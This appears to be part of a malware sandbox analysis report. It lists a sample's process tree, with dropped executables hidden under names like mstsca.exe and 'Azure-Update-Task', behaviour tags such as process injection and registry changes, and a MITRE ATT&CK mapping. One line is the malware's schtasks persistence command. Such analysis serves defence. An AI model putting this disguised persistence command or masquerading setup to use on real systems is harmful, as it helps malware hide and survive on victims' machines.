C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 600
3⤵
- Program crash
PID:2492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4784 -ip 4784
1⤵
PID:4176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4976 -ip 4976
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
PID:1528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 432 -ip 432
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
- Loads dropped DLL
PID:4784

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 608 -p 2948 -ip 2948
1⤵
PID:3564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2376 -ip 2376
1⤵
PID:5024

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2220 -ip 2220
1⤵
PID:2936

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 628 -p 3512 -ip 3512
1⤵
PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Checks processor information in registry
- Modifies registry class
PID:1892

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 604 -p 4280 -ip 4280
1⤵
PID:2032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 2656 -ip 2656
1⤵
PID:1984

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:1680

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:580

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3708

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4912

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- Creates scheduled task(s)
PID:3092

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery